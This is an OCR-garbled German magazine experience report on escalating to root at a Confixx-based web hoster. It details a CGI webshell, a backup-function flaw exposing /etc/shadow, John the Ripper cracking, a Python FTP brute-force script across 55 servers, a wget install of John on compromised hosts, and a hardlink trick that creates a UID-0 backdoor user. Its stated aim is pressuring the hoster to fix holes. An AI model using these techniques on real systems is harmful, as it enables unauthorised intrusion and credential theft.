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Sicherheitsliicken bei Hosting-Providern, ein Erfahrungsbericht

Insel-Hupfer

Wie unsicher manche Hoster ihre Server konfigurieren und damit die Daten ihrer Kunden gefahrden, zeigt
dieser Erfahrungsbericht. Im Island-Hopping-Verfahren konnte sich der Autor bei einem gréperen deutschen
Webanbieter Giber viele Liicken vorarbeiten und schlieplich Root-Rechte erlangen. virkp.

-

Wenn ich meine private Homepage oder
die Webseiten eines Vereins einem Hos-
ter anvertraue, dann will ich auch, dass
die Daten dort sicher sind. Niemand soll
unbefugt Inhalte 4ndern oder Passworter
auslesen. Das sollte auch im Interesse
des Webproviders liegen. Nur sieht die
Realitdt hdufig ganz anders aus: Manche
Hoster gehen mit den Daten ihrer Kun-
den erschreckend sorglos um und igno-
rieren sogar konkrete Hinweise auf Si-
cherheitsliicken.

Durch einige Erlebnisse vorgewarnt
(siehe Kasten ,Schlechte Erfahrun-
gen") schaue ich mich bei einem neuen
Webhoster zundchst um, wenn ich dort
Domains betreue. So auch im vorliegen-
den Fall. Der Hoster (Name der Redak-
tion bekannt), den ich unter die Lupe
nahm, benutzt als Webinterface Confixx
(Abbildung 1 und [1]). Mit dieser Soft-
ware sollen die Kunden alle Einstellun-
gen zu Domain, E-Mail, FTP, Zugriffssta-

tistik und anderes konfigurieren. Leider
ist diese Software nicht fehlerfrei.

Bei der Suche nach Schwachstellen hat
sich meine einfache Webshell bewdhrt
(Abbildung 2). Sie arbeitet als CGI-
Skript, das die eingegebenen Befehle in
einer Bash ausfiihrt. So vermeidet sie,

Vom Umgang mit Liicken

dass ich jedes Mal ein Skript schreiben
und hochladen muss, um eigene Befehle
auszufiihren.

Ressourcen ohne Limit

Meine ersten Beobachtung: Die verfiig-
baren Ressourcen sind nahezu unbe-
grenzt. Diese Nachldssigkeit der Admins
hat mir spater vieles erleichtert. Im Ser-
ver stecken zwei Festplatten, eine unter
»/«, die andere unter »/home« gemoun-
tet. Eine Quota suche ich vergeblich, der
Aufruf »quotac liefert erstaunlicherweise
»command not found«. Ich kann also be-
liebig viel Platz beanspruchen. Fiir tem-
pordre Verzeichnisse mag das noch iib-
lich sein, obwohl selbst das zu DoS-An-
griffen fiihren kann.

Fiir »/home« berechnet Confixx den ver-
brauchten Platz selbststdndig in regel-
madfligen Abstdnden, statt sich auf die
Kernel-Quota zu verlassen. Zwischen-
durch darf ich also auch hier beliebig
Platz beanspruchen. Die Confixx-eigene
Berechnung ist durchaus sinnvoll, da
das Tool den Platz fiir »$HOME« und

Wenn Sie als Hosting-Provider oder als Ad-
min einen Hinweis von Ihren Usern erhalten,
dass sich Sicherheitsliicken im System befin-
den, dannist ,,Ich zeig dich an" als Reaktion
denkbar ungeeignet. Wenn der User die Lii-
cke meldet, kénnen Sie davon ausgehen,
dass er lhnen helfen will und nicht gegen Sie
arbeitet. Also informieren Sie diesen Anwen-
der iiber lhre Schritte und fragen Sie ihn
eventuell auch, was er als Korrektur emp-
fiehlt. Diese kostenlose Unterstiitzung soll-
ten Sie nicht leichtfertig ausschlagen - lei-
der passiert genau das aus falschem Stolz
oder Arbeitsiiberlastung viel zu oft.

Wenn Sie dagegen als User auf eine Liicke
stopen, dann melden Sie diese am besten
den Admins. Oft ist es nicht leicht, den pas-
senden Ansprechpartner zu finden. Ublich
sollte eine Adresse »security@Hostingpro-
vider« sein. Obwohl RFC 2142 [6] diese
Adresse vorschldgt, benutzen viele Firmen
sie allerdings nicht. Dann bleibt der Support,
der sich aber oft als unerfahren im Umgang
mit Sicherheitsliicken erweist. Bevor Sie als
letzten Ausweg die Liicke publik machen, um
den Anbieter damit unter Druck zu setzen,
kénnen Sie auch noch Hilfe bei einem der
CERTs [ 71 anfordern.
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Abbildung 1: Die Administrationssoftware Confixx zeigt alle Informationen zu einem Kunden iibersichtlich auf

einer Webseite. Wer den Account knackt, hat somit auch bequemen Zugriff auf diese sensiblen Daten.

eventuelle MySQL-Datenbanken zusam-
menrechnet. Letztere speichern die Files
unter dem Benutzer »mysql« und nicht
unter der UID des Anwenders. Trotzdem
wdre es besser, die Kernel-Quota fiir
»/home« als zusdtzliche Barriere einzu-
setzen.

Auch der CPU-Zeit und dem RAM-Be-
darf meiner CGI-Prozesse sind keine

Grenzen gesetzt, wie »ulimit -a« verrat.
Dabei wdren diese ganz bequem in
der Apache-Serverkonfiguration einzu-
schranken: »RLimitCPU« und »RLimit-
MEMc«. Auch die maximale Anzahl von
CGI-Prozessen ldsst sich per »RLimit-
NPROC« beschranken.

Die Systemdateien »/etc/cron.allow«
und »/etc/cron.deny« suche ich verge-
blich, jeder Benut-

Eile Edit ¥iew Go Bookmarks Tools Window Help zer darf daher
7 = .
LIRS Y| | & || Cronjobs aufset-
Shell zen. Das ist kaum
top b -n 1 | head -10 so gewollt - Con-
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Mem: 1021682K av, 095104K used,  26584K free, 0K shrd,  16ET6K buff eimnen Menupunkt
Swap: 1028152K aw, J3092K used, 995060K free 239268F cached f
PID USER PRI NI SIZE RSS SHARE STAT 3CPU 3MEN TIME COMMAMD ur Cron
21588 weh701 19 19 1020 1020 48B4 RN 79.5 0.0 1:12 john . . .
21750 web701 17 0 1028 1024 772 R 20,4 0.1 0:00 top Fiir weitere Schrit-
1 root 9 1) 208 204 176 8§ 0.0 0.0 0:09 init
2 root 9 1) 1) 1) 0 sw 0.0 0.0 0:00 kewventd 1
3 oot a0 00 0sy 0.0 0.0 0:00 kepn-idled te ist der Aufbau
4 root 19 19 1) 1) 0 SWN 0.0 0.0 0:01 ksoftirgd CPUOD .
5 root 9 0 0 0 0sy 0.0 0.0 1:35 kswapd der Homeverzeich-
& root 1 0 00 05y 0.0 0.0 0:00bdflush
T root 9 1) 1) 1) 0 sw 0.0 0.0 7:54 kupdated 1 1 1
8 mest 4120 0 0 0si¢ 0.0 0.0 0:00 ndrecoveryd nisse bei diesem
cd /. aduin/jchn Hoster interessant.
. fjohn —status
331t 0:07:11:54 47% 854355 3
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top -b -n 1 | head -18 di .
ed ot i obin anderem die in
Fjohn --status Py
Listing 1 angege-
Ausfihren | Eingahe |dschen

benen Files (Kurz-
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: | usgabe von »ls -1

Abbildung 2: Die Webshell hilft bei der Suche nach Sicherheitsliicken. Sie gibt alle
Kommandos, die jemand in das Textfeld unten eintippt, an eine Bash weiter und

prasentiert oben die Ergebnisse.

$HOME«).
Bei meinem Server
dient als Docu-
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up von »~ /files« an - in der
Erwartung, eventuell einen
Bug zu finden. Statt einer
Fehlermeldung erhalte ich
.| prompt ein 90 MByte grof3es
Tar-Archiv mit sehr interes-
santem Inhalt.
Es stellt sich heraus, dass das
Confixx-Backup mit Root-
Rechten lduft und seine Be-
nutzer- und Gruppenkennung
fiir das Backup nicht dndert.
.l Das Arbeitsverzeichnis ist

Hilfe ginhlenden

zundchst »/root«. Das Pro-

Abbildung 3: Das Confixx-Interface hat eine einfache Backup-
Funktion. Sie ist jedoch sehr unsicher implementiert.

ment Root »~ /html«, »~ /files« ist fiir
jene Dateien gedacht, die nicht per
WWW erreichbar sind. Uber das Con-
fixx-Webinterface kann ich Backups die-
ser beiden Verzeichnisse anfordern (Ab-
bildung 3), in » ~ /backup« landet dann
ein ».tar.gz«-File.

Confixx-Backup ohne
Directory

Das Homeverzeichnis ist nicht schreib-
bar, die Zugriffsrechte stehen auf 550.
Allerdings gehort mir das Verzeichnis,
also darf ich die Schreibrechte selbst
setzten. Ein vermeintlich harmloser Vor-
gang - mit den gednderten Rechten 16-
sche ich aber » ~ /files«, da ich es nicht
benoétige. Danach fordere ich in der Con-

Listing 1: Inhalt von »SHOME«

01
02
0
04
05
06

(i)

dr-xr-x---
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

drwxr-xr-x

10 web701  www 4096
6384
4096
4096
4096

4096

Aug 5 19:30 .

Jul 22 17:54 ..

Aug 5 19:30 backup
Aug 1 12:16 files
Dec 31 2002 html

root

web701
web701
web701
web701

root

ftponly
ftponly
ftponly

ftponly Aug 5 19:30 restore

Listing 2: Auszug aus dem Backup-

Skript

01
02
0
04
05
06
07
08
0

@

©

USER="Hoster_17"
PASS="Passwort"
HOST="IP-Adresse"

o ool
echo
echo
echo
echo
chmod 400

"creating login information";
"host $HOST">/tmp/storage
"user $USER">>/tmp/storage
"pass $PASS">>/tmp/storage

/tmp/storage

gramm wechselt zwar in das
Zielverzeichnis, priift aber ein
eventuelles Fehlschlagen die-
ses Befehls nicht. Anschlieffend startet
es den »tar«-Lauf im aktuellen Verzeich-
nis. Die Folge: Ich erhalte ein Backup
von »/root« inklusive der Confixx-Instal-
lation, die unter »/root/confixx« liegt.

Interessanter Backup-
Inhalt

In »/root/confixx/safe« befinden sich ei-
nige Templates, mit deren Hilfe Confixx
Konfigurationsdateien in »/etc« erstellt.
Darunter auch »/etc/passwd« und »/etc/
shadow«. In »shadow.tmp« finde ich die
verschliisselten Passworter aller 1000
Kunden auf diesem Server und dhnlich
vieler POP3-Accounts.

Bei diesem Stand der Dinge habe ich den
Hoster auf die Sicherheitsliicke hinge-
wiesen, in der Erwartung, dass er als
Hotfix das Backup deaktiviert. Doch
nichts passiert. Selbst auf die per E-Mail
zugesandte Shadow-Datei erhalte ich
keine Antwort. Unter professioneller Ar-
beit verstehe ich, dass er die fehlerhafte
Funktion deaktiviert und die Passworter
aller Systembenutzer andert.

So ganz ohne Reaktion der Admins kann
ich es nicht lassen, den Passwortcracker
John the Ripper [2] zu bemiihen. Ei-
gentlich sollten das die Admins selbst er-
ledigen, um schwache Passworter ihrer
Kunden aufzufinden. Oder besser noch
beim Andern eines Passworts die Crack-
lib [3] bemiihen, die schlechte Passwor-
ter proaktiv unterbindet.

John kennt drei Betriebsarten. Im Single-
Crack-Modus probiert er einen Benutzer-
namen in knapp 1000 Variationen als

Passwort. Das dauert in meinem Fall nur
knapp 20 Minuten und liefert bereits
eine ganze Reihe Passworter. Der Word-
list-Modus mit einem deutschen und ei-
nem englischen Worterbuch knackt je-
des fiinfte Passwort. Den inkrementellen
Modus, in dem John per Brute Force alle
Passworter testet, lasse ich dank des Er-
folgs der ersten beiden Modi aus.

Backups fiir alle leshar

Etwa eine Woche spéater - die Confixx-
Sicherheitsliicke besteht immer noch -
finde ich eine weitere Schwachstelle.
Durch Zufall bemerke ich ein Backup,
das gerade lduft. Das ist zwar nichts Un-
gewdhnliches, doch die Zugriffsrechte
»IW-T--T--« sind es schon. Schnell stelle
ich mit »df -h« fest, wo noch Platz ist,
und kopiere sdamtliche Archive (etwa
10 GByte). Dank fehlender Quota ist das
kein Problem. Nach dem Ende des Back-
ups entpacke ich die Dateien. Die Fest-
platten sind groff genug, um den kom-
pletten Inhalt in zweifacher Ausfiihrung
aufzunehmen.

Damit habe ich schon zwei Zugriffsmog-
lichkeiten auf »/etc/shadow« und kann
nebenbei noch aus »/var/lib/mysql« die
Datenbanken »mysql« und »confixx«
herunterladen. In der »mysql«-DB finden
sich die Passworter der MySQL-Benut-
zer, allerdings in einem mir nicht be-
kannten Verschliisselungsformat. Aus-
wertungsversuche vertage ich daher. Die
Confixx-Datenbank enthdlt neben den
Daten der Kunden auch die aller Re-
seller. Ubrigens liegt auf jedem Server
eine eigene Confixx-Datenbank, die Ma-
schinen arbeiten weitgehend isoliert.

Symlink-Angriffe

Die bisherigen Erfahrungen verleiten
mich dazu, das Backup-Skript genauer
zu inspizieren. Es ladt das Backup per
FTP auf einen anderen Server und 16scht
es anschlieffend. Bis zum Loschen liegen
die Backups allerdings ein bis zwei Stun-
den lesbar fiir jeden herum, der nachts
zwischen 3 und 5 Uhr am Rechner sitzt.
Login und Passwort fiir den FTP-Zugang
stehen als Klartext im Skript (Listing 2),
folglich habe ich jederzeit Zugriff auf die
Backups. Auch hieriiber setze ich den
Hoster in Kenntnis - und wieder tut sich
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nichts. Das alte Passwort bleibt nach wie

vor bestehen.

Beim Durchstobern des Quelltextes fallt
mir noch eine andere Angriffsmoglich-
keit auf das Passwort auf. Listing 2
zeigt, dass das Skript die Login-Informa-
tionen in »/tmp/storage« ablegt. Diese
Datei nutzt spater »ncftp«, um die Ar-
chive im Batchmodus auf den Backup-
Server zu uibertragen. Das Skript erzeugt

Listing 3: Brute-Force-Angriff

die tempordre Datei mit Umask 022,
schreibt die sensible Information und
begrenzt erst danach die Zugriffsrechte.
Diese Race Condition &ffnet jedem loka-
len User ein Zeitfenster, in dem er das
File lesen kann. Auflerdem ist der Datei-
name fest vorgegeben und einem An-
greifer somit bekannt.

Mit diesem Wissen gelingt eine Symlink-
Attacke: Nach »In -s /etc/passwd /tmp/
storage« wiirde das Skript die Passwort-
datei tberschreiben. Zudem wadre ein
Denial of Service per »mkdir /tmp/sto-

hen. Es handelt sich offenbar um ein
Standardpasswort. Damit sollte es auch
gelingen, als Auflenstehender weitere
Server dieses Hosters zu entern.

Ein passendes Python-Skript ist schnell
geschrieben (Listing 3). Aus Effizienz-
griinden trage ich die IP-Adressen direkt
ein. Mein Rechner nutzt kein DNS-
Caching, daher wdren ihm die DNS-An-
fragen zu viel: 1000 pro Server, bei 55
Servern insgesamt 55000 DNS-Requests.
Das Skript geht alle Server durch und
versucht, per FTP die Benutzernamen

01 #!/usr/bin/env python
02 import ftplib rage« moglich - das Skript konnte da- »webl« bis »web1000« einzuloggen. Als
03 nach keine Files mehr auf den Backup- Passwort nimmt es den Usernamen und
04 hosts = { Server kopieren. Das Backup wird in  hangt eine Null an.
05 ‘Serverd’: 'IP-adresse 1t »/etc/crontab« mit angehdngtem »1>  Fiinf der 55 Server haben keinen offenen
06 "Server2": "IP-Adresse 2", . .
0 L] /dev/null 2 > /dev/null« aufgerufen, so-  FTP-Port, bleiben also 50 Ziele. Der Er-
08  "Server55': *IP-Adresse 55", dass Root den DoS-Angriff nicht mal als  folg {iberrascht mich dann selbst: Ich
09 } Fehlerausgabe zu sehen bekommt. habe knapp 2000 Accounts auf 29 Ser-
10 Uber das nichtliche Backup sehe ich  vern ermittelt, die restlichen 21 Server
11 for hostname in hosts.keys(): den Inhalt des gesamten Systems, via  sind auf diese Weise nicht verwundbar.
i ?rinzd"# hOSth%SL Thhoitna‘“‘j Confixx-Backup durfte ich nur »/root«
ip_address = hosts[hostname . . .. .

" fir usernumber in range(l, 1000): lesen. Allerdings hatte ich etwas tiberse- A|te LUCken weiter nutzen
15 username = "web" + str (usernumber) hen: Wenn ich das » ~ /files«-Verzeichnis
16 #for password in [username + "0", username, ""]: durch einen Symlink ersetze und dann Ich nehme mir zundchst zehn Server
17 for password in [username + "0"]: das Backup anfordere, liefert mir Con-  vor, installiere in den geknackten Ac-
18 try: fixx jederzeit beliebige Verzeichnisse. counts meine Webshell und hole mir
19 d)ftp = ftplib.FTP(ip address, username, nachts per Symlink-Attacke die Passwor-

passwor .
2 Except Exceptlon, exceptlon: Auf Zu heuen Servern ter der Backup—Accounts: Fu.r den.Dowg—
o pass load der Backups schreibe ich ein klei-
2 else: Bisher waren die Angriffe noch auf den  nes Skript, das auf einem der Server lau-
23 print "ftp://%s:%s@%s" % (username, password, Kundenkreis als Tater beschrdankt. Bei  fen soll. Die Daten hole ich zundchst nur

hostnamne) der Analyse der Passworter fallt mir je-  iiber das interne Netzwerk und entpacke
24 break doch auf, dass sehr viele aus dem Benut-  sie. Nur die interessanten Files lade ich
25  print " done’ zernamen mit angehingter »0« beste-  anschlieRend herunter, vor allem »/etc/
01 cd /home/ 08 1s 15 kill -9 1113 1114 1117 22 1s 29 1s 36 1s
02 cd www/ 09 joe ch 16 ps faux 23 cd . 30 rm -rf .admin/ 37 cd .
03 cd web215 10 joe shell.cgi 17 cd .. 24 cd .admin/ 31 cd . 38 1s
04 1s 11 1s 18 cp -a web215/ /root/ 25 1s 32 1s 39 cd .
05 cd html/ 12 cd . 19 cd web215 26 cd . 33 cd .admin/ 40 1s
06 1s 13 1s 20 1s 27 1s 34 1s 41 1s -lah
07 cd cgi-bin/ 14 tar zvfx john.tgz 21 cd html/ 28 cd html/ 35 cd john/ 42 last -a web215
01 server2: 397 passwords cracked, 2355 left 11 serverl7: 196 passwords cracked, 1588 left 21 server39: 224 passwords cracked, 1889 left
02 server3: 287 passwords cracked, 1335 left 12 serverl8: 248 passwords cracked, 1600 left 22 serverdl: 215 passwords cracked, 1456 left
03 server6: 177 passwords cracked, 1316 left 13 serverl9: 405 passwords cracked, 2506 left 23 serverd43: 131 passwords cracked, 1099 left
04 server8: 175 passwords cracked, 958 left 14 server2l: 256 passwords cracked, 2018 left 24 serverdd: 240 passwords cracked, 2231 left
05 serverl0: 210 passwords cracked, 1432 left 15 server24: 213 passwords cracked, 1402 left 25 serverd5: 210 passwords cracked, 1832 left
06 serverl2: 223 passwords cracked, 1338 left 16 server26: 126 passwords cracked, 1834 left 26 serverd7: 204 passwords cracked, 1564 left
07 serverl3: 189 passwords cracked, 1239 left 17 server28: 276 passwords cracked, 1492 left 27 server48: 182 passwords cracked, 1567 left
08 serverld: 212 passwords cracked, 1322 left 18 server32: 215 passwords cracked, 1792 left 28 serverd9: 215 passwords cracked, 1329 left
09 serverl5: 234 passwords cracked, 1534 left 19 server34: 241 passwords cracked, 1559 left 29
10 serverl6: 191 passwords cracked, 1294 left 20 server37: 236 passwords cracked, 1713 left 30 total: 6332 passwords cracked, 44587 left




shadow«, »/var/lib/mysql/mysql« und
»/var/lib/mysql/confixx«. Das Kklappt
selbst iber mein 56K-Modem in akzep-
tabler Zeit.

Da die Admins immer noch nicht rea-
giert haben, entschliefe ich mich zu ei-
ner weiteren Dreistigkeit. Ich installiere
John the Ripper auf allen zehn Servern
und lasse sie ihre eigenen Passworter
knacken. Moglich ist das dank der nicht
begrenzten CPU-Zeit. Das Installations-
skript, das ich in meiner Webshell aus-
fiihre, ladt John von Openwall.com und
kompiliert es anschliefend:

cd /var/tmp

wget -q http://www.openwall.com/john/b/2
john-1.6.37.tar.gz

tar xzf john-1.6.37.tar.gz
cd john-1.6.37

cd src

make linux-x86-mmx-elf

cd ..

mkdir ~/.admin/john

nv run/* ~/.admin/john

cd ..

rm -r john-1.6.37*

Wie auf meinem Startserver laufen hier
jeweils Single Crack sowie das deutsche
und englische Worterbuch. Alle Pro-
zesse starte ich mit »nice 19«, um die
Performance des Systems nicht zu beein-
trachtigen. Es ist {ibrigens zu empfehlen,

Schlechte Erfahrungen

die Development-Version 1.6.37 von
John zu verwenden. Auf den traditionel-
len DES-Passwortern lduft diese doppelt
so schnell wie die letzte stabile Version
1.6. Bei MD5-Passwortern ergeben sich
keine signifikanten Unterschiede.

In den nachsten Wochen wachst die An-
zahl meiner gekaperten Server. Um mei-
nen Verwaltungsaufwand zu begrenzen,
schreibe ich einige kleine Shellskripte.
So kann ich nun Shellbefehle gleichzei-
tig an alle Server senden oder mir den
Status aller zurzeit laufenden Password-
Cracking-Sitzungen in einer Ubersicht
anzeigen lassen. Zur Synchronisation
per FTP dient Sitecopy [5].

Admin, bitte aufwachen

Mein Plan: Ich will den Hoster mit den
geknackten Passwortern konfrontieren,
in der Hoffnung, dass er endlich fiir
mehr Sicherheit sorgt. Einer der von mir
benutzten Accounts gehorte sogar dem
Geschdftsfiihrer der Hosting-Firma.
Irgendwann bemerkte ein Admin wohl
einen der John-Prozesse und sperrte ge-
nau diesen Zugang. Es ist aber kein Pro-
blem, mir einen neuen Account auf dem
Server auszusuchen, ich hatte ja geni-
gend Passworter ermittelt. >

Sicherheitstechnisches Chaos ist kein Einzel-
fall. Zum Beispiel musste ich mich bei einem
deutschen EDV-Systemhaus mit &hnlichen
Webhosting-Schwachen auseinander setzen.
Auf dessen Server laufen alle CGI-Prozesse
mit derselben UID wie der Webserver (unter
der Kennung »www). Die Verzeichnisse aller
Kunden sind einsehbar, auch wenn sie Webzu-
griffe iiber HTTP-Auth schiitzen. Besonders
interessant sind CGI-Skripte und PHP-Seiten,
da sie eventuell Datenbankpassworter im
Klartext enthalten.

Auf Umwegen zum Schreibrecht

Auf den ersten Blick hatte ich nur lesenden
Zugriff auf die Homeverzeichnisse der Kun-
den. Doch gehdren alle dem Benutzer »ftp«.
Unter dieser UID ware es also mdglich, fremde
Dateien zu dndern. Beim FTP-Upload arbeitet
zwar jeder Kunde mit der »ftp«-UID, ist aber
in einem Chroot-Kafig gefangen. Die CGI-
Skripte laufen mit einer anderen UID.

Doch der sichere Schein triigt. Jeder Benut-
zer kann per FTP eine Bash hochladen und
»chmod 6755« ausfiihren, um das SUID- und
SGID-Bit zu setzen. Anschliefend ruft er diese

Shell per CGI auf, ist User »ftp« und hat
Schreibzugriff auf alle Homeverzeichnisse.
Meinen Hinweis auf die gravierende Sicher-
heitsliicke hat der Provider zundchst igno-
riert. Erst eine Demonstration meiner neu er-
langten Rechte an der Homepage des Web-
hosters fiihrte zu einer Reaktion: Knapp zwei
Stunden nach meiner E-Mail waren sé@mtliche
CGls abgeschaltet.

Mehr Leistung als erwiinscht

Selbst bei einem der ganz grofen Hoster er-
lebte ich eine Uberraschung: Ich kann mehr
Leistungen in Anspruch nehmen, als ich be-
zahle. Viele Provider verlassen sich offenbar
darauf, dass Kunden lediglich die Konfigura-
tionsmaglichkeiten der grafischen Webober-
flache nutzen und sich nicht mit der System-
oder Webserver-Konfiguration auskennen. Ob-
wohl mein geltender Tarif keine CGls enthalt,
kann ich sie mit Hilfe von ».htaccess« akti-
vieren:

Options +ExecCGI

<Files *.cgi>

SetHandler cgi-script

</Files>
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Ein kurzer Test ergibt, dass die Sicher-
heitsliicken auf dem Server weiterhin
bestehen. Ich habe also immer noch Zu-
griff auf »/root«. Mein ndchster Versuch,
die Admins wachzuriitteln: Von dem
neuen Zugang aus maile ich dem Admi-
nistrator einen Auszug aus seiner ».bash
_history« (Listing 4). Darin darf er
selbst ablesen, wie er den gesperrten Ac-
count »web215« untersucht.

Es sollte nicht bei einem gesperrten Zu-
gang bleiben. Drei Tage spater fiel der
ndchste Zugang aus, kurz danach ein
dritter. Das Sperren der Accounts hdtten
sich die Admins allerdings sparen kon-
nen, ich sitze mit den ermittelten Pass-
wortern am langeren Hebel und habe in-
zwischen genug Ersatzkandidaten. Zeit
fiir die Schocktherapie: Noch am selben
Tag sende ich dem Hoster insgesamt 26
Zugangsdaten der FTP-Accounts auf den
Backup-Servern. Auflerdem lege ich die-
ses Mal ebenfalls 26 »/etc/shadow«-Files
bei. Ein paar Tage spater ist der nachste
Zugang gesperrt, ich kontere per E-Mail
mit einer Statistik der bereits geknackten
Passworter (Listing 5).

Eine Reaktion bleibt aus, ich habe weiter
freien Zugriff auf die FTP-Accounts der
Backup-Server. Die Passworter dandern
wdre jetzt angebracht, vorher miissten
die Admins noch die Sicherheitsliicke im
Backup-Skript beheben. Ubrigens gelingt
mir der Zugriff auf die Backup-Server so-
gar von zu Hause aus, ich muss auf kei-
nem der Webserver des Hosters arbei-
ten. Warum das von keiner Firewall ver-
hindert wird, ist mir unverstandlich.

Erste Reaktionen

Irgendwann wird es dem Hoster dann
doch zu bunt. Der ndchste Account ist
nicht gesperrt, nur meine Webshell lduft
nicht mehr. Ein »ls -l« im Verzeichnis
»cgi-bin« zeigt, dass die Admins »chmod
000 shell.cgi« ausgefiihrt und eine un-
iibersehbare Nachricht hinterlassen ha-
ben. Die Datei ist zwar nur 0 Byte grofi,
dafiir ist der Name umso aussagekrafti-
ger: »NOCH_EIN_VERSUCH_UND_DU_
HAST_NE_ANZEIGE_AM_HALS«. Dar-
aufhin schicke ich »killall -9 john« an
alle Server.

Die Drohung mit juristischen Konse-
quenzen bei gleichzeitig vorhandenen
massiven Sicherheitsliicken wirkt auf

mich etwas hilflos. Ein Gesetz allein ist
eben kein brauchbares Sicherheitskon-
zept; die Sicherheitsprobleme beheben
wdre angebracht. Ein Patch fiir Confixx
gibt es schon seit zwei Wochen, zumin-
dest fiir die Version 3.0 - ich hatte den
Hersteller SW-Soft natiirlich ebenfalls in-
formiert.

Confixx 2.0 ist nach wie vor anfallig,
hier muss SW-Soft noch nachbessern.
Darauf sollten die Admins aber nicht
warten, sondern als Workaround die
Backup-Funktion abstellen. Das nachtli-
che Systembackup konnte ein »umask
027« vertragen. Selbst wenn die Admins
nicht wissen, wie man tempordre Da-
teien sicher erzeugt, konnten sie diese
einfach in »/root« ablegen. Das ist zwar
unschon, aber wirksam.

Meine Antwort an den Admin besteht
ebenfalls aus einer Reihe (leerer) Da-
teien, siehe Abbildung 4. Den Account
nehme ich durch »chmod 755 shell.cgi«
wieder in Betrieb. John belasse ich auf
allen Servern, allerdings ohne einen Pro-
zess zu starten. Bei Bedarf kann ich
schnell wieder einsteigen.

Umzug

Es folgt der Umzug des Webhosters in
ein neues Rechenzentrum. Nachdem die
Webserver wieder erreichbar sind, fallen
mir einige Dateien in »/tmp« auf. Hier
liegen auf insgesamt 16 Servern SQL-
Dumps der Confixx-Datenbank lesbar
herum. Auch hierzu erhadlt der Hoster
eine - zugegeben schon etwas bissige -
E-Mail. Ich kann es mir einfach nicht
verkneifen, diese mit Hinweisen auf
»man chmod« und
den »umask«-Ab-
schnitt aus »man
bash«

F 1s -1

1 Hallo Root !

zu begin-

Auch in die FAQ

2 Interessant, was euer System alles Fir Sicherheitslicken hat :-?)
2 Harum behebt ibr diese Schuwichen nicht mal?

G Geknackte Berutzeraccounts sperren bringt doch irgendwie nicht
nen. 6 =0 wiel, wenn man gleichzeitig den Zugriff auf sensible Teile
7 des Systems offen lasst,,.
2 auch noch var_lib_mysol_confixx i-3
9

eigenen Domain, deren Passwort »tele-
fon« von John ermittelt wurde.

Durch dem Umzug geht mir dann der
Kontakt zu den Backup-Servern verlo-
ren. Von denen hatte ich nur die IP, aber
die hat sich bei allen Servern gedndert.
Auch die ndchtlichen Backups laufen
seitdem nicht mehr. Eine Suche im IP-
Bereich des Webhosters blieb erfolglos.

Kontaktlos

Damit ich nicht ganz aus den sensiblen
Bereichen der Server ausgesperrt werde,
muss ich also vorsorgen. Ich wende
mich dem Restore-Skript von Confixx
zu, das ich bei dem ganzen Passwort-
Cracken vernachldssigt hatte. Das Skript
lauft ebenfalls unnotigerweise mit Root-
Rechten, also muss ich mir den Prozess
genauer anschauen. Per »ps auxf« er-
fahre ich, dass ein Cronjob das Perl-
Skript »/root/confixx/confixx_counter-
script.pl« aufruft, das wiederum folgen-
des Kommando ausfiihrt:

cd /home/www/webl84/files; 2

tar xzf ../restore/files.tar.gz 2

2>/dev/null >/dev/null

Nach dem Entpacken lduft »chown -R
$user« auf dem Zielverzeichnis. Zuerst
schaue ich mir an, ob ein Symlink auf
ein anderes Verzeichnis moglich ist.
Wenn »$HOME/files« auf »/root« zeigt,
dann miisste es wegen »cd /root; tar xzf
../restore/files.tar.gz«“ ein Verzeichnis
»/restore« geben. Eine Symlink-Attacke
scheidet daher aus. Also versuche ich es
mit Hardlinks. Auch hier kommt mir die
Nachldssigkeit der Admins entgegen:

da hatten wir etc_shadow, root und

des Hosters gehort
ein  freundlicher
Hinweis: Ich er-
gdnze den Chmod-
Eintrag um einen
Abschnitt, siehe
Abbildung 5. Die-
ser Gag blieb iiber
Wochen hinweg
unbemerkt.  Die
FAQ liegt auf einer

10 Ich beschuer nich ja gar nicht, das ich hier mehe nachen kann als
11 eigentlich (blich. FAber was ulrden eure Kunden sazu sagen. wenn
12 cie (ber diese schlampige Adninistration bescheid wissten?

[14 Ich weis aus sicherer Quelle. das ihr schon vor Hochen ber die
15 Sicherheitslicken informisrt wurdst, sber das scheint such ja
16 vollkommsn sgal zu ssin, ..

17 Also konnte ich mich einfach auf allen Servern einnisten. (na ja.
18 zumindest auf 29 j->), Und das mit einer Woche "Verspitung".

19 normalerueiss sind die Liicken in =o einer Zeitspanne doch 1angst
0 wieder zu,

1

P2 Ein kopfschittelnder, aber dennoch zufriedener

3 Uzer eures Systems 2-)

3

[«Te]

Abbildung 4: Einer von vielen Versuchen, die Admins anzusprechen. Hier liegen
23 Dateien ohne Inhalt, aber mit recht aussagekraftigen Dateinamen.



Das komplette System liegt in einer Par-
tition, es lassen sich also Hardlinks fiir
alle sichtbaren Files anlegen.

Ich erzeuge in »$HOME/files« einen Link
auf eine mir nicht gehdrende Datei und
prdpariere das Tar-Archiv entsprechend.
Tar sollte jetzt die Datei iiberschreiben,
denke ich zumindest. Allerdings ruft Tar
erst den Systemcall »unlink()« auf und
erzeugt die Datei anschliefend neu. Das
fremde File bleibt unbeschaddigt.

Hilfreicher Chown

In der Folge wende ich mich dem Aufruf
»chown -R $user« zu. Ein Symlink hitte
keinen Erfolg, da der rekursive Chown
die Rechte des Symlinks dndert und
nicht das Link-Ziel. Also greife ich auf
Hardlinks zurtick und nehme mir einen
der Server vor, auf dem alle Files in einer
einzigen Partition liegen. Nach »ln
/etc/shadow /etc/passwd ~ /files/«
folgt das Restore eines Dummy-Tar-File.
Anschlieflend gehoren die Passwd- und
die Shadow-Datei mir. So kann ich eine
Hintertiir installieren. Unix regelt die
Zugriffsberechtigung nicht {iber den

ew Go Bookmarks Tools Window Help

Namen, sondern tiber die UID. Mein neu
angelegter Benutzer »root2« erhadlt die
UID »0«.

Normalerweise wdre ein solcher Eingriff
durch ein Intrusion-Detection-System
schnell aufzudecken. Aber Confixx ver-
waltet samtliche Kundenzugange iiber
»/etc/passwd« und »/etc/shadow, so-
dass Anderungen an diesen Dateien sehr
héufig auftreten. Um ein IDS sinnvoll
einzusetzen, diirften nur die Systembe-
nutzer in der Passwd-Datei stehen. Die
anderen Zugidnge konnte Confixx {iber
LDAP verwalten. Da dies nicht der Fall
ist, habe ich gute Chancen, unentdeckt
zu bleiben. Trotzdem sende ich dem Ad-
min wieder eine E-Mail.

Tatsdchlich sind 20 der 29 Server auf
diese Weise verwundbar. Wenn »/« und
»/home« auf getrennten Partitionen 14-
gen, wdre der Angriff so nicht mdoglich.
Die Minimaladministration kommt mir
